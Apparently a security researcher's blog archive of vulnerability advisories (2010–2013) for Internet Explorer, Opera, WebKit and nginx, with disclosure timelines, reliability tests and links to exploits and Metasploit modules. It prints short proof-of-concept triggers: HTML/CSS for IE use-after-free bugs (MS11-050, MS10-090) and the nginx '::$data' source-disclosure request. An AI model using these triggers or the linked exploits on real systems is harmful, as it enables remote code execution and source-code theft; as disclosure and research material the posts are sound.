Mostrando entradas con la etiqueta Remote Software Advisories. Mostrar todas las entradas
Mostrando entradas con la etiqueta Remote Software Advisories. Mostrar todas las entradas

lunes, 28 de octubre de 2013

MS13-069/CVE-2013-3845: Microsoft Internet Explorer (CTreePos) use-after-free vulnerability

Tal y como prometí, aunque no con la celeridad que hubiera querido, al fin he sacado unos días para preparar el material sobre uno de mis últimos casos, CVE-2013-3845, o mejor dicho para hacerlo medianamente presentable.

Creo que debe ser algo que odiamos los researchers, eso de preparar material para postear, documentación, etc. Todo lo que sea salir del debugging parece tiempo perdido :-)

Bueno, no me quiero extender demasiado porque el material ya está listo y éste no será su sitio:

  • Paper en español: Aquí.
  • Prueba de Concepto con control de EIP: Aquí.
  • Exploit con DEP deshabilitado: Aquí. 
  • Exploit con DEP habilitado: Aquí.
  • Módulo para metasploit: Aquí.
  • Toda esta información comprimida (con pass: ysr-2013-3845): Aquí.
Saludos!

lunes, 10 de octubre de 2011

:::SPAS3C-SV-006:::OPERA BROWSER 10/11/12 (0-DAY) EXPLOIT

In this post, I do the release of an issue that I discovered 362 days ago and it was reported to Opera using the SSD program (SecuriTeam Secure Disclosure), but they have decided not to fix it.

Thanks to sinn3r of metasploit.com for his heap spray method for Opera Browser (tested on v11.51 and v11.50) that uses VirtualAlloc. You can try it, setting the target to 1. I will keep both methods to avoid heap spray holes, I mean, if you are trying the exploit with default target and it lands on a hole, change to target 1 and try it again.

But, next results were taken with default target.

By the way, Opera Next was updated two days ago (r1076 -> r1085). I have not had time to get results of this release, but I confirm that it's still vulnerable and even I've seen remote code execution.


Testing Method:


In this case, I was looking for success at first attempt, so I needed to find a method that did not use the crash-dialog, kept (by default) the config and did not use the last-visited feature (The next one maybe too paranoic):


0. In attacker: exploit ready.
1. In victim: Start Opera.exe and launch the exploit.
2. In victim: If success -> Close shellcode -> Turn off the computer.
3. In victim: If not success -> Do not restart + Do not send/Send -> Turn off the computer
4. In attacker: kill id_exploit and exploit (new random url)
5. In victim: Start the computer.
6. In victim: Go to step 1.


The results:

  • Opera 12 pre-alpha -> RCE on 6/10 attempts
  • Opera 11.51 -> RCE on 3/10 attempts
  • Opera 11.50 -> RCE on 3/10 attempts
  • Opera 11.11 -> RCE on 4/10 attempts
  • Opera 11.10 -> RCE on 4/10 attempts
  • Opera 11.01 -> RCE on 5/10 attempts
  • Opera 11.00 -> RCE on 4/10 attempts

The exploit 0day here and here.


You can find more info:


Update (2011/10/17): I want to explain that I do not have an exact date when Opera was reported. As I've explained in my report in spanish, probably it was 10 months ago. By the way, note that they fixed the known as "frameset exploit" in May. However, all the vulnerabilities were reported together.

Update (2011/10/19): Opera has patched the vulnerability with the new version released: 11.52.

Happy (0)day, folks!

miércoles, 5 de octubre de 2011

:::SPAS3C-SV-004:::FINAL DISCLOSURE AND RELIABILITY TESTS (SSD-1010101 / PART-II)

I have taken a while and been trying to improve this one, unsuccess. But, I would like to thank to sinn3r and the rest of metasploit members who have tried to get a more reliable exploit. The poc is unstable and the crash is variable. Also I could not lead to more stable/reliable crashes. Anyway, I cannot discard the possibility of DEP bypass. Under some versions, it could be possible (controllable EAX to pivot) but unreliable/unstable. Give me a feedback if you get a poc that improves these issues :)

So far, the final result is not as nice as I wanted. Since I could not publish my ms10-090 exploit, you know, someone discovered before I could publish :) I am glad to get released this one and probably it does not come alone.

Here goes the reliability tests (click to see correctly):

Fig. 1: Reliability table.

It is important to notice that most of versions will not work at first attempt. Although it is possible and I have seen it: The crash-dialog helps here and the table above is based on it.

Crash-dialog options:

  1. Restart-speech-dial -> close opera.exe -> open opera.exe -> go to url of exploit.
  2. Restart and reopen all tabs.
  3. Do not restart -> open opera.exe.

Tests features:

  • Master Box: Windows 7 Ultimate with SP1 (English) (fully updated)
  • VM engine: Virtual Box
  • Virtual boxes: Windows XP Professional with SP3 (English) (fully updated) x 15
  • Opera: Clean installations with configuration by default
  • Browser cache: It's not cleaned
  • Number of attempts: 100
  • Number of OS restarts: 5
  • Number of url-exploit changes: 10

Notes:

  • I have noticed that the reliability changes when the box is restart. So it is very possible that you will get another results.
  • This exploit was coded when the stable release was v10.61 At that time, my best results was got with v10.62 and v10.61 (not clean installation: v10.6-> v10.61)

Finally, the msf module here and here


viernes, 17 de junio de 2011

:::SPAS3C-SV-005:::IE8/9 USE-AFTER-FREE VULNERABILITY POC (ZDI-11-194/MS11-050/CVE-2011-1260)

Just the poc for my (and not only my finding) last IE (use-after-free) vulnerability:


<STYLE>
object{
float: left;
}
</STYLE>
<acronym>
hggssssssssssssssssssssssssddddddddddddddddddddddddddddddddddddddddddddddaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddd
</acronym>
<object>
head
</object>
<col>
ccc
</col>
<div style = 'layout-grid-char: 35735636357357354ex;'>
aaaaaa
</div>

You will find an awesome work, exploit, even new targets (IE6/IE7) in d0c_s4vage's blog.

More references:

viernes, 27 de mayo de 2011

:::SPAS3C-SV-004:::OPERA BROWSER < 11.11 FRAMESET MEMORY CORRUPTION VULNERABILITY (SSD-1010101 / PART-I)


Voy a escribir este post en español porque llevo mucho tiempo sin hacerlo y de todas formas en inglés tampoco me explico demasiado bien.

En primer lugar, algunas aclaraciones sobre la vulnerabilidad/exploit:

  • Esta vulnerabilidad la encontré hace ya tiempo, si mal no recuerdo a finales de Septiembre de 2010 y fue mi segundo exploit, por lo que no era muy elaborado, un heap spray y cruzar los dedos para que se cayera en esta zona. Lo bueno de la versión en la que lo encontré, es que a pesar del carácter aleatorio de la vulnerabilidad se podía sacar buen provecho de una forma reliable (ver advisory para más detalles). En concreto la versión de Opera por aquél entonces era la v10.61, posteriormente, este exploit ha ido perdiendo fiabilidad conforme han ido pasando las versiones hasta convertirse en un DoS, aún explotable pero realmente poco reliable. El caso es que he estado varios días dándole vueltas al poc, buscando en primer lugar un forma controlada de disparar la vuln y al mismo tiempo, reliable.
  • Dejar claro que parece que tanto Opera, como el resto de fuentes que se han hecho eco de la vulnerabilidad, en algunos casos no están en disposición de testear la vuln (por un lado) y en otros casos (como Opera) no parecen hacerlo: La vulnerabilidad afecta a Opera v10.xx y Opera v11.xx (<11.11).
  • Y es más (esto explica porque no voy a dar detalles de PoCs y exploits, más allá de un vídeo y un pequeño informe): La vulnerabilidad se dispara con éxito en Opera Mobile v11.x y Opera Mobile v10.x. Ahora bien, no sé si hasta el punto de conseguir explotabilidad o no, lo que sí puedo asegurar (tras hacer algo de debugging usando un Nokia N8, Symbian^3 y con carbide.c++ / IDA) es que quizás pueda ser explotable, me explico, mis conocimientos en debugging ARM y explotabilidad no van más allá de éste, como primer caso. Dicho esto, tras disparar varias veces la vuln en Opera Mobile, he visto que el PC (Program Counter) se carga con valores bajos (0x00000134, 0x00000130, etc) , lo cual es comúnmente poco explotable, pero a veces, he visto crashes en (0x006xxxxx, 0x005xxxxx), lo cual corresponde a zonas del heap y stack, es por ello, que no descarto la posibilidad de explotación en esta arquitectura. Es más, en su momento y aunque no tenía la posilidad de testear el poc, porque no tenía ningún smartphone, sólo pude hacer algunas pruebas usando el emulador de Windows Mobile y también resultó vulnerable. Lo que sí conseguí es tener un exploit en Opera Mobile Emulator for Windows. Sin embargo, y ante la posilibilidad de analizarlo en un entorno real, la explotación móvil quedó (y parece ser que aún queda) en el olvido. De todas formas, no es más que una posibilidad que trataré de comprobar.
  • La explotación bajo sistemas con hw DEP y ASLR (> Windows Vista SP0) es poco probable debido fundamentalmente al carácter aleatorio de la vulnerabilidad y la dificultad de construir un ROP exploit. Por el mismo motivo, la explotación en cada versión de Opera es más o menos reliable.
  • Otras plataformas donde se ha testeado con éxito la vulnerabilidad son: MacOS X Snow Leopard y Ubuntu (GNU/Linux). Además de las versiones de Windows: XP, Vista y 7.

Reformando el exploit...


En mi lab, preparé una máquina virtual con Windows XP SP3 (full updated) y con /nx=alwayson (DEP soft on). Tomé la última versión vulnerable, en concreto, v11.10 y a empezar... Como dije anteriormente, este exploit era bastante reliable en v10.62 pero en v11.10 era muy poco explotable. En primer lugar, encontré la forma de disparar la vulnerabilidad de forma controlada y finalmente ajuste el spray para conseguir la máxima fiabilidad. Así pues el exploit consta de dos etapas, una primera donde se hace el heap spray y en otra, se dispara la vulnerabilidad.

Este exploit no he llegado a testearlo en más versiones, pero el exploit anterior, lo testeé en numerosos entornos desde v10.00 hasta v11.10 y todos consiguieron RCE al menos una vez (alguno más reliable que otro). Por tanto, con un poco de trabajo podría convertirse en un exploit con una cobertura bastante amplia.

Así pues, y cómo más vale prevenir que curar, de momento no haré publica más información que ésta:
  • Un video donde se puede ver la explotación con éxito y reliable (80-90%) en v11.10.




  • El advisory (en inglés), con algunas modificaciones desde su envío a SSD (sobretodo correcciones de idioma). Probablemente, haya dejado demasiada información a la vista pero obtener el poc es más complejo que fuzzear el tag frameset, al menos eso parece xD

Actualización: SecuriTeam reconoce haber notificado el tema móvil a los desarrolladores de Opera que descartan tener un update cercano, sin embargo no descartan parchear algún que otro asunto más ;)


Referencias:

martes, 14 de diciembre de 2010

:::SPAS3C-SV-003:::INTERNET EXPLORER 6/7/8 MEMORY CORRUPTION VULNERABILITY (CVE-2010-3962/ MS10-090)

At last, I can talk about a vulnerability which was publicly known because it was being exploited in the wild. Today I would have liked to disclose my exploit, but it (including a metasploit module) is available one month ago, so i cannot give more information, just my experience and a repository of interesting links about it.


  • Description:

This one was very nice to find it. Someone talked about a smart vuln, because it only needed one line of HTML code to trigger it, one html tag and two different styles. But when I found, about five months ago, I discovered it using this poc:

----------------------------------------poc.html------------------------------------------------

<table style = 'position: absolute;clip: rect(5px, 55px, 45px, 5px);' > <hr />

----------------------------------------poc.html------------------------------------------------

The reason is that my fuzzer always tries to get a correct HTML code and applies fuzzing on some styles, properties, etc.

On late of June, my fuzzer gets a working poc triggering the vuln. I was very newbie on exploiting but I noticed that it could be easily exploited. I sent it on iDefense and they confirmed the vulnerability on early of July.

On September, I had learnt something on exploiting because I needed to sell other stuff and this buyer needed working exploits, so when the other job was finished, I thought that it would be interesting to use my new knowledge as exploit writer, so I did my own exploits and it was very simple using heap spraying. I stored all until today, but it would be silly to release when there is many information and exploits about this issue.

Finally, this is my history about CVE-2010-3962 or MS10-090. I have to admit that this vuln has taught me to have more experience as bug hunter. It was very nice, easy for finding (so easy for losing) and it was alive from version 6.

Good bye 0day, I always will remember you :_(

  • Links (interesting stuff):



Be safe ;)

viernes, 10 de septiembre de 2010

:::SPAS3C-SV-002:::WEBKIT (APPLE SAFARI < 4.1.2/5.0.2 & CHROME < 5.0.375.125) MEMORY CORRUPTION VULNERABILITY (CVE-2010-1813)

This time, I'm going to post a new remote software advisory, which was fixed about one month ago, but i couldn't post because i was waiting an advisory and fix from Safari. Now fix is out, so i can post my own advisory.


-------------------------START-ADVISORY-------------------------------



TITLE: WEBKIT (APPLE SAFARI < 4.1.2/5.0.2 & GOOGLE CHROME < 5.0.375.125) MEMORY CORRUPTION VULNERABILITY
TESTED OS: WINDOWS XP SP3
SEVERITY: HIGH
CVE-NUMBER: CVE-2010-1813
DISCOVERED DATE: 2010-06-29
FIXED DATE: GOOGLE CHROME (2010-07-26) & APPLE SAFARI (2010-09-08)
FIXED VERSIONS: GOOGLE CHROME 5.0.375.125 & APPLE SAFARI 4.1.2/5.0.2
DISCOVERED BY: JOSE A. VAZQUEZ


======ABOUT APPLICATION======

"WebKit is an open source web browser engine. WebKit is also the name of the Mac OS X system framework version of the engine that's used by Safari, Dashboard, Mail, and many other OS X applications. WebKit's HTML and JavaScript code began as a branch of the KHTML and KJS libraries from KDE..." copied from http://webkit.org/


======DESCRIPTION======

A memory corruption vulnerability was confirmed by Chromium Security Team. Original stacktrace showed a null ptr dereference, but some pointers were also corrupted.

Stacktrace (using Chrome symbols):

WebCore::RenderObject::containingBlock() Line 597
WebCore::RenderBlock::paintContinuationOutlines() Line 2344
WebCore::RenderBlock::paintObject() Line 2232
WebCore::RenderBlock::paint() Line 1980
WebCore::RenderLayer::paintLayer() Line 2447
WebCore::RenderLayer::paintList() Line 2499
WebCore::RenderLayer::paintLayer() Line 2468
WebCore::RenderLayer::paint() Line 2252
WebCore::FrameView::paintContents() Line 1943
WebCore::ScrollView::paint() Line 797
WebCore::RenderWidget::paint() Line 281
WebCore::InlineBox::paint() Line 180
WebCore::InlineFlowBox::paint() Line 682
WebCore::RootInlineBox::paint() Line 167
WebCore::RenderLineBoxList::paint() Line 219
WebCore::RenderBlock::paintContents() Line 2090
WebCore::RenderBlock::paintObject() Line 2199
WebCore::RenderBlock::paint() Line 1980
WebCore::RenderBlock::paintChildren() Line 2127
WebCore::RenderBlock::paintContents() Line 2092
WebCore::RenderBlock::paintObject() Line 2199
WebCore::RenderBlock::paint() Line 1980
WebCore::RenderLayer::paintLayer() Line 2445
WebCore::RenderLayer::paintList() Line 2499
WebCore::RenderLayer::paintLayer() Line 2468
WebCore::RenderLayer::paint() Line 2252
WebCore::FrameView::paintContents() Line 1943
WebCore::ScrollView::paint() Line 797
WebKit::WebFrameImpl::paintWithContext() Line 1795
WebKit::WebFrameImpl::paint() Line 1818
WebKit::WebViewImpl::paint() Line 979
RenderWidget::PaintRect() Line 390
RenderWidget::DoDeferredUpdate() Line 501
RenderWidget::CallDoDeferredUpdate() Line 428



======PROOF OF CONCEPT======

http://pastebin.com/v7T0QK5g


======STEPS TO REPRODUCE======

1.- Upload 1.html and 2.html to your server.
2.- Open file 1.html with vulnerable app.


-Google Chrome:

3.- Wait for a while, then, crash is got (sad-tab).

-Apple Safari:

3.- Wait for a while, if crash is not got, use Ctrl+T to trigger it.



======REFERENCES======

[ref-1] -> https://bugs.webkit.org/show_bug.cgi?id=41373
[ref-2] -> http://googlechromereleases.blogspot.com/2010/07/stable-channel-update_26.html
[ref-3] -> http://support.apple.com/kb/HT4334
[ref-4] -> http://spa-s3c.blogspot.com/2010/09/full-responsible-disclosurewebkit-apple.html


======DISCLOSURE TIMELINE======

Standard Time Zone: GMT/UTC + 01:00 hour (Spain/Madrid)

[2010-06-29] => Posted new issue in Chromium Project (with pocs).
[2010-06-29] => Chromium confirmed memory corruption and opened new webkit bug.
[2010-07-26] => Chromium released new fix (Google Chrome 5.0.375.125).
[2010-09-08] => Apple released new fix (Apple Safari 4.1.2/5.0.2).
[2010-09-10] => Public disclosure.



======CREDITS=======

Jose Antonio Vazquez Gonzalez,
Telecom. Engineer & Sec. Researcher.
http://spa-s3c.blogspot.com/


-------------------------END-ADVISORY-------------------------------


That's all. Be safe ;)

viernes, 11 de junio de 2010

:::SPAS3C-SV-001:::NGINX [ENGINE X] SERVER <= 0.7.65 /0.8.39 SOURCE CODE DISCLOSURE/DOWNLOAD VULN. (CVE-2010-2263)

I found this vulnerability one week ago, but I was waiting a fucking CVE number when somebody published a similar advisory without checking. This researcher made a public disclosure in an old release and he also said that it isn't fixed when this is fake (at least Source Code Disclosure/Download got fixed with lastest releases).

Copied from ChangeLog for 0.8.40/0.7.66 (Final releases in stable/development channel):

-------------------------START-COPY-------------------------------

Changes with nginx 0.8.40 07 Jun 2010

*) Security: now nginx/Windows ignores default file stream name.
Thanks to Jose Antonio Vazquez Gonzalez.

*) Feature: the ngx_http_uwsgi_module.
Thanks to Roberto De Ioris.

*) Feature: a "fastcgi_param" directive with value starting with
"HTTP_" overrides a client request header line.

*) Bugfix: the "If-Modified-Since", "If-Range", etc. client request
header lines were passed to FastCGI-server while caching.

*) Bugfix: listen unix domain socket could not be changed during
reconfiguration.
Thanks to Maxim Dounin.

-------------------------END-COPY-------------------------------

But vulnerabilities databases seem that they didn't confirm nothing.

This is my advisory:

-------------------------START-ADVISORY-------------------------------

TITLE: NGINX [ENGINE X]
SERVER <= 0.7.65 (STABLE)/0.8.39 (DEVELOPMENT) SOURCE CODE DISCLOSURE/DOWNLOAD VULNERABILITY TESTED OS: WINDOWS XP SP3/ WINDOWS 7 HOME PREMIUM SEVERITY: HIGH CVE-NUMBER: CVE-2010-2263 IMPACT: READ/DOWNLOAD SOURCE CODE OF WEB APP FILES DISCOVERED DATE: 2010-06-04 FIXED DATE: 2010-06-07 FIXED VERSIONS: NGINX/0.8.40 AND NGINX/0.7.66 DISCOVERED BY: JOSE ANTONIO VAZQUEZ GONZALEZ ======ABOUT APPLICATION======
"nginx [engine x] is a HTTP and reverse proxy server, as well as a mail proxy server written by Igor Sysoev. It has been running for more than five years on many heavily loaded Russian sites including Rambler (RamblerMedia.com). According to Netcraft nginx served or proxied 4.70% busiest sites in April 2010. Here are some of success stories: FastMail.FM, Wordpress.com. The sources are licensed under 2-clause BSD-like license." copied from -> http://nginx.org/en/ [ref-1]

======TESTED VERSIONS=====

Unix versions are not vulnerable (it only affects to NTFS file system)

Windows Stable versions:

nginx/0.7.66 --> Not vulnerable
nginx/0.7.65 --> Vulnerable
nginx/0.7.64 --> Vulnerable
nginx/0.7.63 --> Vulnerable
nginx/0.7.62 --> Vulnerable
nginx/0.7.61 --> Vulnerable
nginx/0.7.60 --> Vulnerable
nginx/0.7.59 --> Vulnerable
nginx/0.7.58 --> Vulnerable
nginx/0.7.56 --> Vulnerable

Windows Development versions:

nginx/0.8.40 --> Not vulnerable
nginx/0.8.39 --> Vulnerable
nginx/0.8.38 --> Vulnerable
nginx/0.8.37 --> Vulnerable
nginx/0.8.36 --> Vulnerable
nginx/0.8.35 --> Vulnerable
nginx/0.8.34 --> Vulnerable
nginx/0.8.33 --> Vulnerable
nginx/0.8.32 --> Vulnerable
nginx/0.8.31 --> Vulnerable
nginx/0.8.30 --> Vulnerable

======DESCRIPTION======

This application was vulnerable to source code disclosure/download vulnerability when it was running in Windows OS (NTFS file system).
App parser couldn't handle ADS (Alternate Data Streams) and it treated a data stream as an usual file. An Attacker could read/download source code of webapps files using default data stream (unnamed): "filename::$data".

This issue is like an old security issue in Microsoft Windows IIS [ref-2].

======PROOF OF CONCEPT======

http://[IP]/[FILE]::$data

======STEPS TO REPRODUCE======

1.- Start the server.

2.- Go to http://127.0.0.1/index.html::$data

3.- Browser requests to download...yes...go to file and open it.

======REFERENCES======

[ref-1] -> http://nginx.org/
[ref-2] -> http://www.microsoft.com/technet/security/bulletin/ms98-003.mspx


======DISCLOSURE TIMELINE======

Standard Time Zone: GMT/UTC + 01:00 hour (Spain/Madrid)

[2010-06-04] => Inicial contact with vendor and sent advisory.
[2010-06-04] => Vendor response and believe that vulnerability got fixed with previous release.
[2010-06-04] => I confirm that nginx is vulnerable in Windows 7 OS.
[2010-06-04] => Vendor will try to see the issue.
[2010-06-04] => Vendor confirms the issue and he will get fixed on Monday.
[2010-06-07] => New releases out.
[2010-06-07] => I sent complete advisory and propose as disclosure date on Wednesday.
[2010-06-10] => Second chance to confirm public disclosure.
[2010-06-10] => Vendor agree.
[2010-06-11] => Forced to public disclosure.

======CREDITS=======

Jose Antonio Vazquez Gonzalez,
Telecom. Engineer & Sec. Researcher.
http://spa-s3c.blogspot.com/

Thanks to Ruben Santamarta (@reversemode) and Jose Maria Alonso (@maligno) for their support in other issues.

-------------------------END-ADVISORY-------------------------------

This is a visual Proof Of Concept:



Watch on youtube -> http://www.youtube.com/watch?v=DvQtvV8kQhY

Be good (responsible disclosure) has disadvantages...bye bye my first software advisory :(

Update: Thanks to exploits-db and security-focus because they (will) have updated their databases and (will) have published my advisory.

Be safe ;)